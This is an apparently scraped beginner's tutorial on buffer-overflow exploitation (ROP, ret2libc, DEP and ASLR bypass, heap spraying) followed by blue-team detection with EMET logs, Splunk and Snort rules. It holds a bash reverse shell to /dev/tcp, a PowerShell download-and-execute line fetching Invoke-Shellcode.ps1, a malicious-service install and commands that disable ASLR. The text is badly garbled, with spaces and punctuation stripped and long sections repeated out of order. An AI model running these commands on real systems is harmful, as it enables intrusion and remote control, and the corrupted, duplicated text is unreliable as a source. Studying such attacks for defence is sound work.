the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

